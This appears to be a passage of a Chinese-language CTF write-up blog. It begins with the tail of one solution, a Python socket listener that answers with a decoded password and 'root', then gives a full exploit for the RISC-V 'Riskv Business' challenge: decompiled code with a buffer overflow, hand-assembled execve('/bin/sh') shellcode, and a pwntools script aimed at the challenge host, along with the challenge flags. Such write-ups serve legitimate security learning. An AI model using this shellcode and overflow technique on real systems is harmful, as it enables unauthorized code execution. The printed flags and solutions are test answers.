W00t! Sending `echo "flag{tw0_p1u$_t00_equ@15_wh@t3v3r_th3_p@rty_s@y5_c0mr@d3}" > /etc/motd`
[$<2>*] Closed connection to 172.17.0.11 port 2333

exp 如下:

import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind(('172.17.0.11', 2333))
    s.listen(1)
    while True:
        conn, addr = s.accept()
        with conn:
            data = conn.recv(1024)
            print('data : {}, addr: {}'.format(data, addr))
            num = data.find(b"/bin/sh")
            res = list(data[num+8:num+24])
            for i in range(0, len(res)):
                res[i] = chr(res[i] ^ 0x41)

            conn.sendall(''.join(res).encode(encoding='utf-8'))
            data = conn.recv(1024)
            print('data : {}, addr: {}'.format(data, addr))

            conn.sendall(b'root\n')
            data = conn.recv(1024)
            print('data : {}, addr: {}'.format(data, addr))

Flag:

flag{tw0_p1u$_t00_equ@15_wh@t3v3r_th3_p@rty_s@y5_c0mr@d3}

Riskv Business

Description:

The great thing about "new," "simple," and "lightweight" technologies is that they get to re-experience the problems and re-invent the solutions that made the old technologies so complex and heavyweight.

Take Risc-V: the new, simple, lightweight computer architecture and software ecosystem of tomorrow, with none of yesterday's battletestedbloated features.

I wonder how they handle buffer overflows??

nc cha.hackpack.club:41700

Solution:

这题看到架构我就楞了,还好我之前为了拖 libc 库把所有的交叉工具库全下载了

程序保护如下:

Arch:     em_riscv-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE (0x10000)
RWX:      Has RWX segments

因为是 riscv64 架构,所以 IDA 是无法识别的,要用 Ghidra 来反编译

Ghidra 的 Github 首页里有已经收集好的插件了,路径为:ghidra/Ghidra/Processors/

替换本地的文件夹即可反编译 riscv64 的架构了

main 函数如下:

int main(void)

{
  char acStack96 [8];
  char buff [80];
  
  puts(
      "Question 1. What kind of sound do you make when the boogey man jumps out of the shadows andyells \'BOO!\' right in your face?!"
      );
  printf("(Please file  your answer in memory at location %p...):",acStack96);
  fflush((FILE *)stdout);
  mygets(acStack96);
  printf("EXACTLY: %s\n");
  return 0;
}

mygets 函数如下:

char * mygets(char *buff)

{
  char cVar1;
  int iVar2;
  char *pcVar3;
  char *local_18;
  
  local_18 = buff;
  do {
    iVar2 = getchar();
    pcVar3 = local_18 + 1;
    *local_18 = (char)iVar2;
    cVar1 = *local_18;
    local_18 = pcVar3;
  } while (cVar1 != '\n');
  return pcVar3;
}

栈溢出之后跳转到 shellcode 处即可,这里用的 Ubuntu 20.04 做的题

不是很支持 Python 2,所以我拿 Python 3 写的脚本

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 3
qemu = 'qemu-riscv64'
libc_path = '/usr/riscv64-linux-gnu/'

context(arch="arm", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process([qemu, '-g', '12345', '-L', libc_path, './chall'])
elif debug == 2:
    p = process([qemu, '-L', libc_path, './chall'])
else:
    p = remote('cha.hackpack.club', 41700)

p.recvuntil('location ')
sc = '\x01\x11'           # addi sp, sp, -32
sc += '\x06\xec'          # sd ra, 24(sp)
sc += '\x22\xe8'          # sd s0, 16(sp)
sc += '\x13\x04\x21\x02'  # addi s0, sp, 34
sc += '\xb7\x67\x69\x6e'  # lui a5, 0x6e696
sc += '\x93\x87\xf7\x22'  # addi a5, a5, 559
sc += '\x23\x30\xf4\xfe'  # sd a5, -32(s0)
sc += '\xb7\x77\x68\x10'  # lui a5, 0x10687
sc += '\x33\x48\x08\x01'  # xor a6, a6, a6
sc += '\x05\x08'          # addi a6, a6, 1
sc += '\x72\x08'          # slli a6, a6, 0x1c
sc += '\xb3\x87\x07\x41'  # sub a5, a5, a6
sc += '\x93\x87\xf7\x32'  # addi a5, a5, 815
sc += '\x23\x32\xf4\xfe'  # sd a5, -28(s0)
sc += '\x93\x07\x04\xfe'  # addi a5, s0, -32
sc += '\x01\x46'          # li a2, 0
sc += '\x81\x45'          # li a1, 0
sc += '\x3e\x85'          # mv a0, a5
sc += '\x93\x08\xd0\x0d'  # li a7, 221
sc += '\x93\x06\x30\x07'  # li a3, 115
sc += '\x23\x0e\xd1\xee'  # sb a3, -260(sp)
sc += '\x93\x06\xe1\xef'  # addi a3, sp, -258
sc += '\x67\x80\xe6\xff'  # jr -2(a3)

addr_stack = int(p.recvuntil('.')[:-1], 16)

pd = sc
pd = pd.ljust(0x58, 'A')
pd += p64(addr_stack).decode('ISO-8859-9')
p.sendlineafter('..):', pd)
success('addr_stack = ' + hex(addr_stack))
p.interactive()

Flag:

flag{mayb3_1t_w1ll_w0rk_th3_f1fth_t1m3_ar0und}

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注